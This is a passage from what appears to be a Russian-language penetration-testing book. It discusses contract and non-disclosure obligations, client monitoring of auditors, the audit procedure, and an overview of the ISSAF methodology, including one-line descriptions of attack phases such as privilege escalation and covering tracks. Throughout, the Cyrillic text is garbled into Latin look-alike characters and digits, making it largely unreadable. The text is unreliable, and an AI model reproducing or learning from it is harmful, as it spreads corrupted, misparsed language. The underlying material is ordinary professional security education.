PHIO KOMAH/THO CTPOKH, KOMMYHUKAIUH 110 3JIEKTPOHHOI 1TOYTE, JIFOObIE IOKYMEHTHI
(¢huHanHCOBBIE OTUYETDI, MAPKETUHTOBbIE TIJIAHBI, KOH(MUTYpAIIMOHHbBIE (DANJIBI 1 T. 11.),
TTOJIyYCHHBIC BAMU B X0JI¢ TCCTUPOBAHUS WX ITEPETAHHBIC BaM 3aKa3YMKOM, a TAKIKE
MHOTO€ JIPYTO€.

[TonpoOyiiTe mocTaBuUTh cebs Ha MECTO 3aKa3dulKa. Bbl HAHMMaeTe KOMAHIY CIIEIH-
AJINCTOB, KOTOPast IPOHUKAET B Ballly CETh PA3HBIMU CIIOCOOAMHU, MOJYUAET TPaBa
AJIMHICTPATOPA B Ballleil CUCTEMe U IOCTYT K BHyTpeHHei nadopmarmu. Ha pas-
rJIalIeHne Kakoi 0N JaHHBIX BBl MOTJIN OBI IaTh COTJIacKe?

Obs3aTtenbCcTBa 3aKa3ydmKa

B nannom paszelie nponucano, 4To, KakiuM 00pa3soM U Kak JT0JIKEH JIe/1aTh 3aKa34nK
BO BpPeMsI JIEMICTBUS HTOTO ZOrOBOPpa. H 7151 KOro He CEKPeT, YTO 3aKa34UK BCTIECKI
OyzeT crapaTbes obeperath cebs U IOJIyYUTh OT BaC MAKCUMYM 3a CBOU J€HbIHU, —
9TO HOPpMaJbHO. HOMHI/ITC, YTO BbI BCer/a JOJIKHBI BHUMATE/JIbHO YUTATh BCE, 4YTO
cobupaeTech MOAINCATD, U Y BAC €CTh IIOJHOE TIPABO HE COTJIAIIATHCS HA BBITOJHEHNE
paboT, KOTOpbIE HE TIPUHECYT BaM KaKoi-11n60 BBITObL V3 Ballero coTpyaHudecTBa
Kask/lasl CTOPOHA J0JIKHA U3BJIeUb s ce0sl 110JIb3Y.

He crout ynuBisThCS TOMY, YTO B TAKUX JIOTOBOPAX BBl BCTPETUTE WHMOOPMAITHIO
0 TOM, KakuM 06pa3oM OyzeT MPOMCXOAUTh Ballla paboTa U Kak 3aKka3uyuk OyzeT 3a
Bamu HaOmo0AaTh. CaMblil IIPOCTON c110c06 — cOOp 3ammceil ¢ Baleil CTOpoHbl U CO
CTOPOHBI 3aKa3unKa 000 BCeX BalINX AeiicTBusx. Takum 00pasoM 3aKa3dyuk OyIeT cTa-
parbcst orpaguTh cebst OT BOBMOKHBIX PUCKOB YTEYKH HH(MOPMALWH, a B CJIy4ae, eCJIn
BO BpeMsl TECTOB IIPOM30MET cOO0ii B cucTeMe, OH OY/IeT 3HaTh, KTO 3a 9TO OTBETCTBEH.

Jpyrum criocob6oM 3aluThl siBjsietcs Hab roaernne. Korma Bbl Oyaere poOBOANTS
ayIUT B IIOMEIEHNH 3aKa3uiKa, K BAM MOTYT [IPUCTABUTH CIIEIMAIbHO 00YYEHHOTO
yesioBeka. He cTOUT BOJTHOBATHCSI, Y TAKHX JIFO/IEH HET 1€ CKOMITPOMETHPOBATH BaC
WJIW Y3HATH CeKPEThI Bamieil paboTbl. OOBIYHO OHU CJIEAT 32 TEM, YTOOBI BbI HEHAPO-
KOM He [OJIyYMJIN JIOCTYII K TOH nHMOpMaIiK, KOTOPasi MOKET CYUTAThCSI CEKPETHOIA.
N s1o kacaercs ve Tobko MC — Hanpumep, BbI CIyIaifHO MOKETE CBEPHY T HE TYy/a
U [onacTh B KOHGepeHI[-3a, rae obcyxkaaoTes Oyayiie busHec-crpareruu. Tloc
B HAJIMYUU TAKOTO COMPOBOXKAAIONIETO 3aKJII0UAETCS B TOM, YTO €CJIU Bbl Hal/eTe
KPUTHYECKYIO YSI3BUMOCTD, KOTOPYIO, Ha Balll B3IJIsijl, CTOUT UCIIPAaBUTh Oe30TJ1a-
raTeJbHO, BBl MOXKETE Cpa3y COOOIINTD emy 06 9TOM — HeoOXOIUMbIe JIeHCTBUS IO
yCTPaHEHUIO0 HAUHYTCSI TOPasio ObICTpee.

WHoraa 6bIBaeT 1 Tak, 4TO 3aKa34MK 00SI3yETCsI TIPEOCTABUTH BaM BCE HEOOXOIMMOE
o6opyIoBaHue U TPOrpaMMHOE 0OecTiedeH e 3a CBOiT cuet. M 9To He MOTOMY, UTO BbI
eMy ITIOHPABUJINCD U OH XOUEeT KYIIUTh BaM HOBBII KOMIIBIOTEP B CYET ellle He BBIMOJI-
HEHHOU PaboThl — BCe KYIUIEHHOE, K COKAJIEHUIO, OCTAETCS B €10 COOCTBEHHOCTH.
ITO JleaeTcs B TeX CIydastX, KOT/[a BB IPOBOIUTE Ay/INT B TIOMEIIEHUSX 3aKa3UNKa
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1 MOJKETE BBIIIOJIHATD pa60Ty TOJIBKO Ha ITPpUHA/JIEKAIIIEM 3aKa3YNKY O60pyIIOBaHI/II/I,
KOTOpPOE HE NOJIKHO ITOKH/IaTh CTEHBI Oprann3aliiu.

B aBTOPUTETHBIX NCTOYHUKAX YIIOMUHAETCS (XOTsI CaM aBTOP C OTUM He CTaIKH-
BaJICs), YTO B HEKOTOPBIX CJAYYAAX 3aKa39MK HE TOJHKO HACTAMBAET HA MPOBEJICHUH
ayuTa Ha IpUHAAJIeKAIIEM eMy 000pyI0BaHUN, HO TaKKe 3alPENIaeT IPOHOCHUTD
¢ co6oii Jirobble yCTPOHCTBa, KOTOPBIE MOTY 00€CIeYnTh XpaHeHe, 00paboTKy UK
nepejady AaHHBIX.

Obs3aTenbCcTBa UCMONMHUTENS

IMomumo TpeboBaHUil COOTIOIEHUST BaMU KOHPUAEHIINAILHOCTH B OTHOIIEHUN
TAHHBIX 3aKa3UNKa, B COTJIANIEHNN TaKKe MOXKeT CO/Iep:RaThCsl MH(MOPMAIINST O TOM,
KakiM 00pa3soM BBl MOKETE PACTIOPSIKATHCS TIOJTYUYeHHBIMU JTAaHHBIMU U KOMY BbI
MoskeTe X mepegaBath. OOBIYHO ITO TOAPAZYMEBAET, YTO BBI JOJKHDI EPEIaTh
PEe3yJIBTaThI Balieil paboThl OTPeeIeHHOMY KPYTY JHI[ (9TO MOTYT ObITh Ha3HAYEH-
HbIE COTPYHUKN U PYKOBOJCTBO MPEANpuATHs ). Kpome TOro, B HEKOTOPBIX CIydasix
M06ABIISIETCS TIYHKT, B KOTOPOM OTOBAPUBAETCS, KAKUM TPETHUM CTOPOHAM U KAKYIO
nH(pOPMAIIIIO BBI MOKETE TIePeiaBaTh.

OtHecuTech K 3TOMY BHUMATETHHO W BCET A TPOBEPSHTE MH(MOPMAIIUIO O TOM, KOMY
BbI TIepeziaeTe gannbie. YacTo ObIBaeT Tak, uTo ayuT 3aHMMAaeT HECKOJIbKO MECSIIIEB,
a 3a 3TO BPeM4A YeJIOBEK, KOTOPOMY BBI IOJKHBI TIepe/iaTh aHHbIE, MOXKET CMEHUTD
MecTO paboThl. [ToaToMy, 4TOGB He HAPYIITUTD COTJIAIIICHUE O HepasTJalleHnu, yoe-
JIUTECH, YTO OH JI0 CUX TOP SBJISETCS COTPYIHUKOM OPTaHU3aINK M Y HETO Bce elle
€CTbh MPABO IOCTYIIA K TOW NH(GOPMAITNHT, KOTOPYIO BbI XOTUTE MY TTepPeiaTh.

YacTo B 9TOM MyHKTE Takke OyIyT OTOBapuBaThCA AEHCTBUS, KOTOPHIE BbI MOKETE
WM HE MOJKETe TIPOM3BOIMTD BO BPEM BBITOJIHEHN 3aKka3a. Hanpumep, Bam MOryT
3alIPETUTH CO3/IaHIE HOBBIX TI0JIb30BATEIEl B CHCTEME, OTOBOPUTD, KAKMMHU CIIOCOGa-
MM BbI MOKET ayTeHTU(UIINPOBATHCS, K KAKMM JAHHBIM BbI MOKET TTOJTYYHUTh JOCTYTI
1 muoroe gipyroe. CKopee Beero, Bam OyIeT 3alpeleHo UCIIO0JIb30BaTh JTI00ble BUPYChI
1 IPyTHe BPEIOHOCHBIE TPOTPAMMBI,  TAKKE TPOBOMTH aTaKH, CIIOCOOHBIE BbI3BAThH
OTKa3 B 00CTyKUBAHWUH.

Ecau :xe BI He BUNTE BHITIIEONMMCAHHOTO B IOTOBOPE, TO HE CITEIITNTE PAIOBATHCST —
BIIOJIHE BOBMOJKHO, UTO, TIOJIINCAB TAKOMU JI0r0BOP, BbI TOABEPrHeTe cebst prcky. Yacto
OIMCaHKe BCETO BhIIIECKA3AHHOIO 3aMEIAeTCs AEKYPHBIM «BCe HeOOXOIMMBIE Ieii-
CTBHUsI», 8 9TO B KayKJIOM CJIy4ae MOKHO TPaKTOBaTh 110-pasHoMy. Harpumep, 6bL10 Jiu
HCIIOJIB30BAHME IKCILIONTAa HEOOXOAMMBIM JieiicTBueM? Bbl cunraere, 4To /14, a BOT
3aKa3YMK MOKeT MMeThb COBEPINEHHO JIPyroe MHeHne Ha 3ToT cyeT. He moskaseiite
CBOEr0 BPEMEHHU U 3apaHee OTOBOPUTE BCE KAK MOKHO OoJIee J1eTalbHO.

AyauT N MOHUTOPWUHT

B xonTekcTe 1oroBopa 06 UCTIONHEHUH YCIyT MMEETCsI B BULY HE ayIUT MHPPACTPYK-
TYPBbI BaIlIETO 3aKa34KMKa, a MMEHHO ay/IUT BAIlTMX CUCTEM, 11eJIb KOTOPOrO — YOeuTh-
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Cs1, UTO YCJIOBHUSI OTOBOPa He HapymieHbl. OOBIYHO 3aKa3UMK XOUET YOCTOBEPUTHCSI
B TOM, 4TO JIaHHbBIE, KOTOPBIE BBI MIOJTyYaeTe, XpaHsaTest u o6pabareisaiorcst B Gesonac-
HOM MECTe, a KaHAJIbI TIepeiaun HaIeXKHO 3aiuiieHbl. KiauneHT xouer ObITh yBEpeH,
4TO BamIa 1abopaTopus MpeacTaBsieT co0oii 00pasoBoe pabouee Mecto B mtane B,
BbI JK€ B 9TOM Pa3bupaeTech, He TaK Ji?

[To MOHUTOPUHTOM TaKIKe TIOJIPa3yMeBaeTCsl, 4TO OY/IYT CAECAUTH UMEHHO 32 BAMU
U BalllUMU JCHCTBUAMU. 3aKa3UNK XOUET OBITH YBEPEH, YTO BbI COOIIONAETE YCIOBUS
JIOrOBOpa 1 He IIPOM3BO/INTE HUKAKUX AUCTBUI, He ITPeyCMOTPEHHBIX TOAINCAHHBIM
coryamenreM. OHAKO yYTUTE, 9TO HE BCET/IA BBl CMOKETE JIEHCTBOBATH B PAMKaX
YCTAHOBJIEHHBIX COTJIAlieHUil. BOSMOKHBI U CJIyuau, KOTa BaMm OyIeT HeoOXOIUMO
TIPOBECTHU He MPeyCMOTPEHHbIE COTJIAIEHeM NJI He OTOBOPEHHbBIE 3apaHee Mepo-
npugaTus. Beerjia corsacoBpiBaiiTe X nepest mposesienrieM. Ilomuure, 4To ycTHbIE 10-
TOBOPEHHOCTH MOTYT HIYETO He 3HAUNTh, BBl BCET/Ia JOJLKHBI ITOJIYUYNUTD ITOMTACAHHOEe
paspettietue. YToObl 9TO He PEBPATUIIOCH B TOJIOBHYIO GOJTb 1 HE 3AHUMAJIO MHOTO Bpe-
MEHH, 3apaHee 0OrOBOPHTE ¢ 3aKa3UUKOM TIPOIIELYPY TONYIECHUST TAKUX Pa3PEelIeHI.

Pa3peLueHne KOHMINKTOB

Pasnorsacust — 00bIMHOE €10 IPU IPOBEAECHUN JIOOBIX PabOT, U MHOI'ME U3 HUX
MO>KHO PENIUTH B TPoIlecce TTeperoBopoB. Bo3aMoKHO, BaM He yal0Ch BBITTOJTHUTH
YacTh 3a/[a4 M3-3a TEXHUYECKUX orpanndeHnil. Takske ObIBain ciydan, KOraa Hejo-
BoJbHble 1 T-CrennaaucTsl IbITaIuCh IPUKPITh HELOCTATKU CBOEl paboThl Aeii-
crBuem M B-aynTopos, — Oyjibre TOTOBBI U K 9TOMY.

Opnako B ciyyae, KOr/ia CTOPOHbBI He MOTYT JIOTOBOPUTbCS, IIPOLIE/ypa PaspelieHus
CIIOPOB IIEPEXOANT Ha HOBBIH, yKe I0puaindeckuii yposetb. IloaToMy BHUMATEIBHO
OTHECUTECH K 9TOMY ITYHKTY.

Mopsiaok NpoBeAeHUs ayauTa

JTio60ii npodeccronal 1o nHGOPMALMOHHON 6E30aCHOCTH X0UYeT 3aHUMATLCS CBO-
UM JIIOOMMBIM JI€JIOM Ha 3aKOHHBIX OCHOBaHMsAX. Yaliie BCero Takue J0IU SBJSIOTCS
YacThi0 KOMAH/IbI, TIPOBO/SIIEN KOMIIJIEKCHBIN ayauT 6e301acHOCTH HH(pOPMAIU-
OHHBIX CHCTEM MPEANPUSATHI; PeKe OHM YCTPAMBAIOT TECThl HA MPOHUKHOBEHNE
B MHIUBU/YAJIbHOM IOPSIKE.

Y1065 OBITH YBEPEHHBIM B IMTPABUJIBHOCTU 1 3aKOHHOCTU CBOUX Z[ef/,ICTBI/HL/,I, Hpod)ec—
CHOHAJI JIOJIZKEH CO6]IIOZ[aTb cjleaytolime rnmpaBuJjia:

® I[10JIy4aTh OT KJIMEHTA MUCbMEHHOE pa3pelleHure Ha IIPOBeICHUe TeCTOB Ha IIPO-
HuKHOBeHUe min ayanta NC;

[ ] CO6]IIOI[3.TI) corJiallieHre o HepasrJjialeHnmn I/IH(bOpMaHI/II/I;

® TapaHTHPOBATH, YTO HUKAKast MH(MOPMAIIUS, TIOJYIYEHHASI BO BPeMst PAOOTHI ¢ KJIH-
€HTOM, HUKOT/Ia He CTaHeT N3BECTHON /IPYTUM JINIaM;

® T[IPOBOMUTH BCE TECTHI, COrJTaCOBaHHbIE C KJIMEHTOM, U HUKAKUe IpyTrue.
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AleI/IT I/IH(I)OpMaHI/IOHHbIX CUCTEM O6BILIHO IIPOXOAUT B HECKOJIBKO 9TAIlOB:
BCTpEYa ¢ KIIMEHTOM, OOCYKIIEHHUE TIeJIEN U CPEJICTB;
IO CaHre JOTOBOPaA O HEpa3IrlallleHnn I/IH(l)OpMaLII/H/I;

TnojArnuncanune 10roBopa 00 oKazaHuu ycayr;

c60p TPYIIIBI YYACTHUKOB ay/IUTa, PacipeaeseHne poseii U moAroTOBKa Paciin-
CaHUS TECTOB;

IIPOBE/IEHNE TECTOB;
aHaJIN3 1 ITPOBEPKaA T10JYUYEHHBIX Pe3yJIbTaToB;

IIOATOTOBKA OTYETAQ,

repesgayda oT4eTa KJINneHTY.



MeToponorus

Cy1ecTByeT MHOXKECTBO METOIMK TIPOBEIEHIS TECTOB HA TPOHNKHOBEHME. XOTS NX
3HaHue, 6e3yCJI0BHO, He TapaHTHPYET BaM yCIIEITHOTo B3jioMa 1esieBoii 1C, ognako
KpaiiHe [OBBIIIAET IAHChl Ha 9T0. K TOMYy ke, cie1yst METOAUKE, Bbl Oy/I€Te YBEPEHBI,
4TO CAEIAIM BCE BO3MOKHOE [JIsI KAUeCTBEHHOIO IIPOBeeHus paboT 1 BaM He Oyner
CTBIJTHO TIPEJICTABUTDH OTUET 3aKA3UUKY.

K coskanenuio, BO MHOTMX CJyYasix ayJuThl GE30IIACHOCTH IIPOBOAATCS HA CKOPYIO
PYKY, 6€3 JOIKHON MOATOTOBKY ¥ NPUMEHEHNsT HeOOXOMMOI METOAUKH, YTO CHU-
5KaeT KaueCTBO BBIIOJIHSAEMOIl paboThl U, CIe0BaTeNbHOo, noaBepraer yrpose VC
3aKazunka. TecTbl Ha IPOHMKHOBEHME JOJKHBI IIPOU3BOAUTHCS C IIPUMEHEHUEM
(b HEKTUBHON METOAUKH, KOTOPYIO MPU HEOOXOAUMOCTH BBl MOKETE U3MEHATH
1 NOJCTPanBaTh 10/ TPeOOBAHMS 3aKa3UNKa, UCXOA U3 CHe(BUKN BBINOJTHIEMO
paboTbl.

B nanHOM paspesie OyeT MpeacTaBieH KpaTKUuil 0630p HECKOJIBKUX MOIYJISIPHBIX
Metonk. He moskaseliTe BpeMeHHU Ha UX MOAPOOHOE M3yUeHne — 9TO 3HAYUTETHHO
o6serauT Banry paboTy U TO3BOJINUT BRITOTHATH ee ere Gosiee TPohecCHOHATBHO.

CraHpapT oueHkn 6e3onacHoCTun
MH(MOPMALIMOHHOW CUCTEMBI

JlaHHbI cTaHAaPT PazpabdaThIBAETCS U MOAEPKUBACTCS TPYIIOi 6€30acHOCTH
OTKPBIThIX HHGopMaloHHbix cucteM (OISSG). Cranmapt oneHKH 6Ge301MaCHOCTH
undopmanronnoii cucrembl (ISSAF) npencrasisier coboii MOCTOSTHHO PEIEH3H-
PYEMBIIl IOKYMEHT, Cofiep:Kaniuii “HPOPMAIUIO O TOM, KaK TIPOBOIUTH TECTHI Ha
nponnknosenue. CusbHolt croponoit ISSAF aBisiercst mokas cBga3u Mexky pas-
JINYHBIMU 33/I1a9aMU TIPOEKTA U MHCTPYMEHTAMM JIJIS UX J0CTIsKeHns. HeecmoTpst Ha
TO, UTO Pa3pabOTUNKU He OTAAIOT TPEATIOUTEHIST TOMY UJIH WHOMY TIPOTPAMMHOMY
obecrieueH o, B cBoel paboTe BBl Tak MU WHavYe GyJeTe MCIOoIb30BaTh OOJIBIIYIO
JaCTh MPEJIOKEHHOTO M.
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MepBas ¢aza — nnaHMpOBaAHME U NOArOTOBKa

B 210il yacTu oMMCHIBAIOTCA HIATH, KOTOPble HEOOXOAUMO C/Ie/aTh epe]] Hava-
JIOM PaboT: 0OMEH BBOAHBIMU JaHHBIMHU, IJIAHUPOBAHUE PECYPCOB M IIOATOTOBKA.
B nepsyio ouepenb BaM HEOOXOAUMO 3aKJIIOYUTh JOTOBOP O BBIIOJHEHUN paborT,
OH J0JIKeH ObITh IMoAnucan obeumu croponaMu. JanHoe cornamenue Oyaer sB-
JISTHCSL OCHOBOIL i1l IpoBeAeHus HajibHeimux pabor. Takske BaM HEOOXOAMMO
CTLTAHWPOBATD JAThl, BPEMs TPOBEICHUS TECTOB, TEXHUUYECKUE IeTAJN U JPyTHUe
HEOOXOIUMBbIE YCIOBUSL. DTOT 9TAIl, IOMUMO IIPOYETO, BKIOUAET B ce0s1 yTOUHEHNE
CIIMCKA KOHTAKTHBIX IIEPCOH ¢ 06EUX CTOPOH, OPraHU3aI[UI0 COOPaHUS 1JIst 06CY K-
JleHUsT HeOOXOMMMBIX JeTajieil mpoBeaeHus Oyayuux paboT, corlacoBatiie paHee
HaMeUeHHOTO TIJIaHa.

K coskasenuto, Ha JaHHBII MOMEHT 3Ta (Dasa He oNucaHa HACTOJIBKO TOAPOOHO,
HACKOJIBKO HaM XoTeJioch Obl. OHAKO YUUTHIBas, YTO CBEKUE BEPCUM JaHHOTO
(peitMBOpKa He BBIXOIMIIN TOCTATOYHO IAaBHO, BPSI/L JIU MBI YBUAUM UX B OmKaii-
1Iee BPeMsi.

Btopas ¢daza — ayaut UC

HecmoTpst Ha 10BOJIbHO HEMHMOPMATUBHYIO TIEPBYTO YacTh, BTOpas yacTb ISSAF
mpopaboTaHa I0CTATOYHO XOPOIIO. B Hell MoApO6GHO OMTHUCHIBAIOTCS ITATH, KOTOPBIE
HEe0OXOIMMO CIETaTh 7T Ka4eCTBEHHOTO TPoBeeH s ayanTa. OMHO 13 CUTHHBIX
ee CTOPOH BJISIETCS YPOBEHD JAeTanusaluu. TyT mpejcTaBjienbl He TOJAbKO caMi
MHCTPYMEHTBI [IJ11 BBITTOJTHEHUS TECTOB, HO U IIPUMEPbI UX MCIoJb3oBaHud. Jaske
€cJIM Bbl He 3HAKOMBI co creludukoit Ub-ayauTa, B HEKOTOPBIX CJy4asiX Bbl CMO-
JKeTe [IPOBeCTU BIIOJIHE YauHylo CEPUIO TECTOB, UCII0/Ib3Ysl TOIbKO IIpUBeeHIbIe
MIPUMEPBHI.

[TomuMmo onmcaHus caMuX IMPOTPAMM, IPUMEPOB UX 3AMYCKA U MCIIOJIb30BAHMUSI,
B ISSAF takske TpakTyioTCs 1MOJy4eHHbIE PE3YJIbTAThI, YTO, HECOMHEHHO, PACITUPUT
Ballli 3HAHUS [IaKe TI0CJIe TPOCTOTO MPOUYTEHUSA. ITO HE CaMBbIil JTydIInil BAPUAHT
TIPOBEIEHNS AY/INTA, HO /TSI TEX, KTO TOIBKO 3HAKOMUTCS ¢ 061acThio VB, om BroHe
IMOIOMJIET.

O6paTuTe BHUMaHKE Ha TO, YTO B JAHHOM (hpeiiMBOPKE 10 KOHI[Aa HE PACKPBIBACTCS
BeCh MOTEHIIMAJ TeX WJIM UHBIX MHCTPYMEHTOB. Tak:ke 371eChb He OMMUCAHbI BCE BO3-
MO>KHBIEC WHTEPIPETAINH TIOJYYEHHBIX JAHHBIX — ATO W MOHSATHO, Be/lb UX OUEHD
MHOTO, /Ia ¥ aBTOPHI HE TTPeCsIe/IOBATH TaKO TIeJIH.

B npesncrasiennom ISSAF dpeiimBopke Kask/Ibiii 9TaIl OMUCHIBAETCS KAK CJIOM, HUXKE
MIPUBOJIUTCS KPATKOE OMUCAHUE KAJKIOTO U3 HUX:

e cOop nHpopmaimu (KCII0Ib30BaHIe HHTEPHETA ISl TIOMCKA BCEH HOCTYITHON WH-
hopmariu o 1111 ¢ TOMOTIBIO KaK TEXHUYECKUX, TAK M HETEXHIUECKUX METO/IOB);

® fRapTupoBaHue ceTu (MaeHTUDUKAINA Bcex cucTeM u pecypcos TieseBoit MC);
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naeHTU(GUKANSI YI3BUMOCTHU (JIeHICTBUS, BBITIOTHIEMbIE CIIETIUAJINCTOM JIJIs
obHapyskeHus ysispumocrteii B mesesoii 11C);

IPOHUKHOBeHHUE (MOJTydeHIe HeCAHKIIMOHUPOBAHHOTO JIOCTYTIA TTyTeM 06X0/1a
METO/IOB 3AIIITHI U TIOMBITKA TTOJyYeHHsT KAK MOJKHO O0Jiee BBICOKUX TTPUBHJIET Ml
B cHCTEME);

Tosrydenune J10CTylia U IMOBbIIIICHNE HpI/IBI/I]IQFI/If/,I (HOHBITKa IIOJIYyINUTDb 6oJ1ee BbI-
COKHME ITPUBUJIETUN TTIOCJI€ YCIIENTHOTO B3/I0OMa CUCTEMbBI NJIN CETU 3KCH€pTOM);

MPOIOJKEHNE TIPOHUKHOBEHNS (TI0JIydeHre TOTOJTHUTEIbHON nH(popMaIun
0 Tpoleccax B IMOJKOHTPOJIBHOI CUCTEME C TIeJIbIO €€ JAJIbHEHIIero uCIoab30-
BaHUA);

KOMITPOMETAINS YAAJEHHBIX 0JIb30BaTeNell/caliToB (MCII0JIb30BaHIe JOBEPH-
TeJIbHBIX OTHOIIEHWI W CBS3€H MEXK/IY YIaJeHHBIMU MOJIb30BATENSIMUA W CUCTE-
MaMWU HpeANpUsITus);

noJijiepskanue ocTyna (MCroJb30BaHue CKPBITBIX KAHAJIOB U PYTKUTOB JIJIF CO-
KPBITUST IPUCYTCTBUST CIIEIMAINCTA B CHCTEME UM 0O€CTIeYeH ST TIOCTOSTHHOTO
JIOCTYIIa K CKOMIIPOMETUPOBAHHOMY pecypcey);

COKPBITHE cIe/I0B (YCTpaHeHHe BCeX TIPU3HAKOB B3JIOMA ITyTeM CKPBITHS (haliios,
OUKCTKH KYyPHAIOB, 00X0/1a TPOBEPOK IEJIOCTHOCTH U aHTUBUPYCHOTO 110).

YkazanHble aTallbl B3JIoMa TIPUMEHAIOTCA 110 OTHOMIEHUIO K CJACAYIOMINUM TUIIaM pe-
CYPCOB: CE€TU, XOCTHI, ITPUJTOKEHN N 6a3bl JlaHHbIX.

CeTeBas 6e30MacHOCTb

ISSAF ¢ pasnuuHoii cTeneHbio AeTaau3ainm mpeaoCcTaBaseT moapobHyio nHbOop-
MAIUIO O PA3JIMYHBIX TUIIAX OIlEHKU Oe30IIaCHOCTH CETEBBIX yCTpoiicTB. Bo (peiim-
BOPKE IMpeJICTaBJICHA CIIPaBOYHAs MHMOPMAINS 10 PA3TUIHBIM TeMaM, TPUMEPbI
CTaH/IAPTHBIX KOH(MUTYPAINii, CITICOK NCTIOJIBb3YEMBIX CPE/ICTB T IPOBEIEHUST aTak
U OJKUIaeMBIe PEe3yJIbTaThl. YKasaHnHast urdopmMaryst OyeT nHTepecHa He TOJbKO
HOBMYKAM, HO W CIIEIIHAIUCTaM ¢ OIMBITOM paboTsl B chepe MB. Huske mpuBeseHs!
HEKOTOPBIE TeMbI, OCBell[aeMble JIAaHHBIM (PPEMBOPKOM:

B3JIOM TIapoJIeH;

OlleHKa 6e30IaCHOCTH KOMMYTATOPA;

OIleHKA 0E30IIACHOCTU MapIIPyTU3aTOPA;

onenka 6esonacuoctu daiiepsoia;

olleHKa 6e30I1aCHOCTU CUCTeMbI 0OHapysKeHus: BTop:kenuii (IDS);
OlleHKa 6e30MaCHOCTU BUPTYaibHOI yacTHO cetn (VPN);
OlleHKa 6e30IIaCHOCTH aHTUBUPYCHOU CUCTEMBI;

6e30macHOCTh ceTH XpaHenus ganubix (SAN);

oleHKa 6e3011acHOCTH OECIPOBOAHON JIOKAJIbHON CeTH;

6€e3011acHOCTD M0JIb30BaTe el MHTEpPHETa;
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e OesomacHoctb AS 400;

e OGesomacHocTb Lotus Notes.

He crout myratbest 60s1b110oro oobeMa nHGOpPMAI, HEOOXOAUMOCTH B JTOCKO-
HaJIbHOM IIPpOYTEHUUN BCETO CTaHAapTa HET. CaMOG rJlIaBHO€ — 3HaTb, YTO B HEM
COMEPIKUTCS, U TOTJA, CTOJKHYBIINCH BO BPEMsI [IPOBEIEHNUS TECTOB ¢ HE3HAKOMOI
BaM CHUCTEMOIL, BbI OyzieTe IPeACTaBIATh, T HOJIyYUTh 0 Heill nHdopMaimo. CTouT
elle pa3 YIOMSHYTb, YTO, K COKaJEHMIO, JaHHBI CTaHAAPT AaBHO He OOHOBJISICS
U He TIOKPIBAET BECH CIIEKTP cyuiecTByiomero 10, HO 10 CUX IIOP COAEPAKUT MHOTO
AKTyaJTbHON MH(MOPMAIUH.

Bbe3onacHOCTb XOCTOB

B ISSAF ommcasbl BOIpOCHI, Kacarmouuecs: 6€30MaCHOCTU CaMbIX MOTYJISTPHBIX
orepaImoHHbIX cucteM, cpean koTopbix Unix/Linux, Windows, Novell Netware.
Ipenocrasnena u wHbopManms o Beb-cepBepax.

Ob6si3atesbHO 06paTHTE BHUMAHKWE HA Pa3jieli, TOCBSIIEHHBIN BeO-cepBepaM. B co-
BPEMEHHOM MUpPE Be6-CepPBEPBI UCTIOIB3YIOTCA He TOJIBKO JIJIS PA3MEIEHUs CTPAHMUIL
B MHTEPHETE, celiyac MHOTHE MTPOU3BOIUTENN UCIIOIB3YIOT UX JIJIS CO3/1aHns rpacu-
YecKuX MHTep(deiicoB yrmpaBieHns yCTPOICTBAMU.

Tax KaKk cTaHAApPT AaBHO He OOHOBJISAJICS, HEKOTOPBIE OMUCAHHBIEC TUITBI OTIEpPalii-
OHHBIX CHCTEM JIaBHO HE MCIIOJb3YIOTCs, a caMble CBEKUE PaspabOTKU B HETO He
BKJIIOUeHbl. OJTHAKO YIIOMSIHYTh O HEM BCE K€ He0OXOAUMO, BE/[b MHOTHE KPYITHbBIE
MPEITPUSTHS B IeJIIX 9KOHOMUH TIPOIOJIKAIOT NCTIOTb30BaTh yerapesiee 110 (Tax,
HEKOTOPbIe GaHKOMAThI TIPO0JIKA0T paboTtars o yiupasieHneM Windows NT).

Be3onacHOCTb NPUIOXEHUI

Ha camom sieste pa3nesinTh TeCTUPOBAHIE MPUIOKEHIH 1 6a3 TaHHBIX JOCTATOTHO
CJIOKHO. B Haly [HM MHOTHE IPUJIOKEHHUS aKTHBHO MCIOJb3YIOT Gashl JaHHBIX
TOTO WIJIM MHOTO TUTIA, TaK YTO, OJydYast K HIM JOCTYII, BBI TIOJyYaeTe U JOCTYI
Kk 6aze manHbIX. B pamMkax ¢hpeiiMBOpKa paccMaTpUBAIOTCS CIIEYIONIIE THITBI ATaK:
aTaky Ha BeG-npuiokenus, SQL-UHbEKINHU, ayIUT UCXOHOTO KO/, ayAuT Ou-
HapHBIX (hailyioB.

Be3onacHocTb 6a3 AaHHbIX

B nannom paszesie onmcanst crieu)MIecKue MeTO/bL, IIPUMEHUMbIE MIMEHHO K 6azaM
JIAHHBIX: YIaJeHHbIN B3JIOM 0a3 JaHHbIX, MAHUILYJIALUSA [IPOLECCAMU, OJHBII ayauT
0a3 JJaHHbIX.

CoumanbHas HXxeHepus

B nmannowm pasmesie onmmchbIBaIOTCS METOBI COIMAIbHON nHkeHepun. Bee onmcan-
HbI€ METO/[bI JJOBOJIHO CTapbie, HO K GOJIBIIOMY COKAIEHUIO, YPOBEHD TPAMOTHOCTH



22 naBa 02 e MeTogonorusa

TTOJIb30BaTeNIEel He BbIPOC CJIMOIKOM 3HAYUTEJ/IbHO, a CIIENNAJINCTBI 110 WD ne YAEAIOT
9TOMY BOIIPOCY JIOJIZKHOTO BHUMaHUSI. B cBs3u ¢ aTum IIPAKTUYE€CKU BCE OIMMCAHHOE
MOJKHO YCIIEIITHO ITPUMEHATDH U B HAIlI€ BpEM:.

TpeTbsl (pa3a — OTUETHOCTb, U3baBieHne
OT CnegoB nNpebbiBaHus

B mannom paszesne ommcanbl HeOOXOAMMBIE LIArH, KOTOPBIE CIEAYET BBITOIHUTD IO
sagepmennn ayauta MC. OHM BKIIOYAIOT MOATOTOBKY W MEpefavy JaHHBIX JUIIAM,
yKa3aHHBIM Ha IEPBOM IIIare, a TAKAKe BONPOCHI KOH(MHUAECHINAIBHOCTH TTOJYYEHHBIX
JaHHBIX. B OTHOIIEHNN 5TOTO pas/iena cleayeT CKa3aTh, YTO OH TaKKe HEJ0CTaTOYHO
HOAPOGEH.

Otyet

Jlanubrit hpeiiMBOPK OMTUCHIBAET /[BA BU/IA OTYETOB — YCTHBIN U MUChbMeHHBIN. [lep-
BBIIl CTOUT MCIIOJIb30BATh B CJydae HAXOKAEHUST KPUTUUECKOM YSI3BUMOCTH, KOTO-
pas, Ha Ball B3IJIs, JOJUKHA OBITh yeTpaHeHa HeMenieHHo. VH(OpMaLuIo 0 TaKix
